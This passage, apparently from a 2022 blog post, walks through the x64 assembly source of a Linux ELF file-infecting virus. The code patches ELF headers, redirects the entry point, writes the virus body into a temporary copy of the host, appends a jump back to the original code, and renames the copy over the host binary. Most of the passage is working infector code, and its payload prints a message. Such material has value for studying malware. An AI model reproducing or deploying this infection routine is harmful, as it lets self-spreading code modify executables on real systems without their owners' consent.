    <span class="nf">push</span> <span class="nb">rax</span>                        <span class="c1">; this will be the temporary file name, not great but it&#39;s for demonstration only</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rsp</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="mi">755</span><span class="nv">o</span>                   <span class="c1">; -rw-r--r--</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_CREAT</span>              <span class="c1">; creating temporary file</span>
    <span class="nf">syscall</span>

    <span class="nf">test</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>                   <span class="c1">; check if temporary file creation worked</span>
    <span class="nf">js</span> <span class="nv">.infect_fail</span>                 <span class="c1">; if negative code is returned, I failed and should exit</span>

    <span class="nf">mov</span> <span class="nv">r13</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; r13 now contains temporary file fd</span></code></pre></div>

<p>Patching the ELF header is trivial here, we account for the <code>phdrs</code> and <code>shdrs</code> changes made earlier. Increasing <code>phoff</code> and <code>shoff</code> by <code>PAGE_SIZE</code> will do.</p>

<p>The infection signature is then added and the entry point is modified to point to the patched <code>.text</code> segment.</p>

<p>As an empty temporary file was already created, the patched <code>ehdr</code> is now going to be written to it at position 0.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.patch_ehdr:</span>
    <span class="nf">mov</span> <span class="nv">r10</span><span class="p">,</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.entry</span><span class="p">]</span>               <span class="c1">; set host OEP to r10</span>

    <span class="nf">add</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.phoff</span><span class="p">],</span> <span class="nv">PAGE_SIZE</span>         <span class="c1">; increment ehdr-&gt;phoff by PAGE_SIZE</span>
    <span class="nf">add</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.shoff</span><span class="p">],</span> <span class="nv">PAGE_SIZE</span>         <span class="c1">; increment ehdr-&gt;shoff by PAGE_SIZE</span>
    <span class="nf">mov</span> <span class="kt">dword</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.pad</span><span class="p">],</span> <span class="mh">0x005a4d54</span>    <span class="c1">; add signature in ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size)</span>

    <span class="nf">add</span> <span class="nv">r8</span><span class="p">,</span> <span class="nv">EHDR_SIZE</span>                         <span class="c1">; add EHDR size to r8 (patched .text segment vaddr)</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR.entry</span><span class="p">],</span> <span class="nv">r8</span>                <span class="c1">; set new EP to value of r8</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r13</span>                              <span class="c1">; target fd from r13</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">r14</span>                              <span class="c1">; mmap *buff from r14</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">EHDR_SIZE</span>                        <span class="c1">; sizeof ehdr</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_WRITE</span>                        <span class="c1">; write patched ehdr to target host</span>
    <span class="nf">syscall</span>

    <span class="nf">cmp</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">0</span>
    <span class="nf">jbe</span> <span class="nv">.infect_fail</span></code></pre></div>

<p>Right after the <code>ehdr</code>, the virus body is added to the temporary file.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.write_virus_body:</span>
    <span class="nf">call</span> <span class="nv">.delta</span>                   <span class="c1">; the age old trick</span>
    <span class="nl">.delta:</span>
        <span class="nf">pop</span> <span class="nb">rax</span>
        <span class="nf">sub</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">.delta</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r13</span>                  <span class="c1">; target temporary fd from r13</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rax</span> <span class="o">+</span> <span class="nv">v_start</span><span class="p">]</span>      <span class="c1">; load *v_start</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">V_SIZE</span>               <span class="c1">; virus body size</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_WRITE</span>
    <span class="nf">syscall</span>

    <span class="nf">cmp</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">0</span>
    <span class="nf">jbe</span> <span class="nv">.infect_fail</span></code></pre></div>

<p>Additionally, a way to give control back to the original target code is required, so a small <code>jmp</code> is added (in this case, it&rsquo;s a <code>push/ret</code>), which will do just that after the virus execution finishes on an infected file.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.write_patched_jmp:</span>
    <span class="nf">mov</span> <span class="kt">byte</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">150</span><span class="p">],</span> <span class="mh">0x68</span>          <span class="c1">; 68 xx xx xx xx c3 (this is the opcode for &#34;push addr&#34; and &#34;ret&#34;)</span>
    <span class="nf">mov</span> <span class="kt">dword</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">151</span><span class="p">],</span> <span class="nb">r10d</span>         <span class="c1">; on the stack buffer, prepare the jmp to host EP instruction</span>
    <span class="nf">mov</span> <span class="kt">byte</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">155</span><span class="p">],</span> <span class="mh">0xc3</span>          <span class="c1">; this is the last thing to run after virus execution, before host takes control</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r13</span>                        <span class="c1">; r9 contains fd</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">150</span><span class="p">]</span>                <span class="c1">; rsi = patched push/ret in stack buffer = [r15 + 150]</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">6</span>                          <span class="c1">; size of push/ret</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_WRITE</span>
    <span class="nf">syscall</span></code></pre></div>

<p>The original host code (minus its <code>ehdr</code>) can now be placed into the temporary file with <code>PAGE_SIZE</code> used as padding. The length of the code above (6 bytes) also has to be taken into consideration in this step.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.write_everything_else:</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r13</span>                        <span class="c1">; get temporary fd from r13</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">PAGE_SIZE</span>
    <span class="nf">sub</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nv">V_SIZE</span> <span class="o">+</span> <span class="mi">6</span>                 <span class="c1">; rsi = PAGE_SIZE + sizeof(push/ret)</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">SEEK_CUR</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_LSEEK</span>                  <span class="c1">; moves fd pointer to position right after PAGE_SIZE + 6 bytes</span>
    <span class="nf">syscall</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r13</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r14</span> <span class="o">+</span> <span class="nv">EHDR_SIZE</span><span class="p">]</span>          <span class="c1">; start from after ehdr on target host</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="nv">STAT.st_size</span><span class="p">]</span>       <span class="c1">; get size of host file from stack</span>
    <span class="nf">sub</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">EHDR_SIZE</span>                  <span class="c1">; subtract EHDR size from it (since we already have written an EHDR)</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_WRITE</span>                  <span class="c1">; write rest of host file to temporary file</span>
    <span class="nf">syscall</span>

    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_SYNC</span>                   <span class="c1">; commiting filesystem caches to disk</span>
    <span class="nf">syscall</span></code></pre></div>

<p>To finish the infection routine, the target file is unmapped from memory and the crafted temporary file is closed.</p>

<p>The temporary file is renamed to match the target file name and the routine will return to a previous address to execute the payload and some final cleanup code.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nl">.end:</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r14</span>                          <span class="c1">; gets mmap address from r14 into rdi</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="nv">STAT.st_size</span><span class="p">]</span>         <span class="c1">; gets size of host file from stack buffer</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_MUNMAP</span>                   <span class="c1">; unmapping memory buffer</span>
    <span class="nf">syscall</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">r13</span>                          <span class="c1">; rdi is now temporary file fd</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_CLOSE</span>                    <span class="c1">; close temporary file fd</span>
    <span class="nf">syscall</span>

    <span class="nf">push</span> <span class="mi">0</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x706d742e79746e2e</span>           <span class="c1">; pushing &#34;.nty.tmp\0&#34; to stack</span>
    <span class="nf">push</span> <span class="nb">rax</span>                              <span class="c1">; as you know by now, this should have been done in a better way :)</span>

    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rsp</span>                          <span class="c1">; get temporary file name from stack into rdi</span>
    <span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span> <span class="o">+</span> <span class="mi">200</span><span class="p">]</span>                  <span class="c1">; sets rsi to the address of the host file name from stack buffer</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_RENAME</span>                   <span class="c1">; replace host file with temporary file (sort of like &#34;mv tmp_file host_file&#34;)</span>
    <span class="nf">syscall</span>

    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">0</span>                            <span class="c1">; infection seems to have worked, set rax to zero as marker</span>
    <span class="nf">mov</span> <span class="nb">rsp</span><span class="p">,</span> <span class="nb">rbp</span>                          <span class="c1">; restore the stack pointer</span>
    <span class="nf">pop</span> <span class="nb">rbp</span>                               <span class="c1">; restore the caller&#39;s stack frame</span>
    <span class="nf">jmp</span> <span class="nv">.infect_ret</span>                       <span class="c1">; returns with success</span>

<span class="nl">.infect_fail:</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mi">1</span>                            <span class="c1">; infection falied, set rax to 1 and as marker</span>
<span class="nl">.infect_ret:</span>
    <span class="nf">ret</span></code></pre></div>

<h3 id="ciao">Ciao</h3>

<p>The payload consists of a simple text message, displayed to <code>stdout</code>. Nothing else.</p>

<p>Afterwards, the virus will &ldquo;give back&rdquo; the bytes it reserved in the beginning of its code, clear <code>rdx</code> register (because ABI), and exit.</p>

<div class="highlight"><pre class="chroma"><code class="language-nasm" data-lang="nasm"><span class="nf">call</span> <span class="nv">payload</span>                <span class="c1">; by calling payload label, we set msg label address on stack</span>
<span class="nl">msg:</span>
    <span class="kd">db</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x63</span><span class="p">,</span> <span class="mh">0x29</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x4a</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x63</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x2d</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x79</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="kd">db</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x69</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x68</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x72</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x0a</span>
    <span class="nf">len</span> <span class="err">=</span> <span class="kc">$</span><span class="o">-</span><span class="nv">msg</span>

<span class="nl">payload:</span>
    <span class="nf">pop</span> <span class="nb">rsi</span>                 <span class="c1">; gets msg address from stack into rsi</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_WRITE</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nv">STDOUT</span>         <span class="c1">; display payload</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">len</span>
    <span class="nf">syscall</span>

    <span class="nf">jmp</span> <span class="nb">cl</span><span class="nv">eanup</span>             <span class="c1">; finishes execution</span>

<span class="nf">...</span>

<span class="nl">cleanup:</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">2000</span>           <span class="c1">; restoring stack so host process can run normally, this also could use some improvement</span>
    <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>            <span class="c1">; clearing rdx before giving control to host (rdx a function pointer that the application should register with atexit - from x64 ABI)</span>

<span class="nl">v_stop:</span>
    <span class="nf">xor</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rdi</span>            <span class="c1">; exit code 0</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nv">SYS_EXIT</span>
    <span class="nf">syscall</span></code></pre></div>

<h2 id="demo">Demo</h2>

<p><a href="https://asciinema.org/a/442639" target="_blank"><img src="https://asciinema.org/a/442639.svg" /></a></p>

<h2 id="outro">Outro</h2>

<p>This was such an amazing project. Not only I was able to learn even more about the ELF format, but I also had people that I respect and admire involved.</p>

<p>This post was also delayed for quite a bit, our zine even had a <a href="https://tmpout.sh/2/">second release</a> by now. I am so proud of it and I hope that <em>tmp.0ut</em> continues to thrive and gather people from all around the world that wants to share knowledge and, more importantly, have fun.</p>

<p>TMZ</p>

    </div>
    	
      <article>	
        <div id="disqus_thread"></div>
<script type="application/javascript">
    var disqus_config = function () {
    
    
    
    };
    (function() {
        if (["localhost", "127.0.0.1"].indexOf(window.location.hostname) != -1) {
            document.getElementById('disqus_thread').innerHTML = 'Disqus comments not available by default when the website is previewed locally.';
            return;
        }
        var d = document, s = d.createElement('script'); s.async = true;
        s.src = '//' + "guitmz" + '.disqus.com/embed.js';
        s.setAttribute('data-timestamp', +new Date());
        (d.head || d.body).appendChild(s);
    })();
</script>
<noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
<a href="https://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>	
      </article>	
    
    <footer>
      <hr>
      <p>
  Published
  
    
      by <span itemprop="author">Guilherme Thomazi</span>
    
  
  <time itemprop="datePublished" datetime="2022-05-18T10:52:59&#43;02:00">
    18 May, 2022
  </time>
  
    in <span itemprop="articleSection"><a href="/categories/technology/">technology</a></span>
  
  
    and tagged <a rel="tag" href="/tags/asm/">asm</a>, <a rel="tag" href="/tags/assembly/">assembly</a>, <a rel="tag" href="/tags/elf/">elf</a>, <a rel="tag" href="/tags/infector/">infector</a>, <a rel="tag" href="/tags/injection/">injection</a>, <a rel="tag" href="/tags/linux/">linux</a>, <a rel="tag" href="/tags/malware/">malware</a>, <a rel="tag" href="/tags/nasty/">nasty</a>, <a rel="tag" href="/tags/virus/">virus</a>, <a rel="tag" href="/tags/vx/">vx</a> and <a rel="tag" href="/tags/x64/">x64</a>
  
  using <span itemprop="wordCount">3682</span> words.
</p>

      


  <aside>
    <header>Related Content</header>
    <ul>
      
        <li><a href="/linux-midrashim-elf-virus/">Linux.Midrashim: Assembly x64 ELF virus</a>
        <time datetime="15M">15 minutes</time>
      
        <li><a href="/running-elf-from-memory/">Running ELF executables from memory</a>
        <time datetime="7M">7 minutes</time>
      
        <li><a href="/having-fun-with-ansi-codes-and-x64-linux-assembly/">Having fun with ANSI codes and x64 Linux Assembly</a>
        <time datetime="9M">9 minutes</time>
      
        <li><a href="/linux-fe2o3-rust-virus/">Linux.Fe2O3: a Rust virus</a>
        <time datetime="4M">4 minutes</time>
      
        <li><a href="/linux-elf-runtime-crypter/">Linux ELF Runtime Crypter</a>
        <time datetime="5M">5 minutes</time>
      
        <li><a href="/linux-cephei-a-nim-virus/">Linux.Cephei: a Nim virus</a>
        <time datetime="3M">3 minutes</time>
      
        <li><a href="/linux-liora/">Linux.Liora: a Go virus</a>
        <time datetime="5M">5 minutes</time>
      
    </ul>
  </aside>


    </footer>
  </article>
</main>
    <footer>
  

  
  <small class="muted">
    This site does not use
    <svg aria-hidden="true" role="presentation" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" width="12" height="12"><path fill="currentColor" d="M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path></svg>
    cookies.
  </small>


</footer>
    
    
    
    <script>fetchInject([
        "https://cdn.jsdelivr.net/npm/baffle@0.3.6/dist/baffle.min.js"
      ]).then(() => {
        baffle(document.querySelector('h1')).start().reveal(1500);
      })
    </script>
  <!-- Fathom - beautiful, simple website analytics -->
<script src="https://cdn.usefathom.com/script.js" data-site="RLPWUPGQ" defer></script>
<!-- / Fathom --></body>
</html>
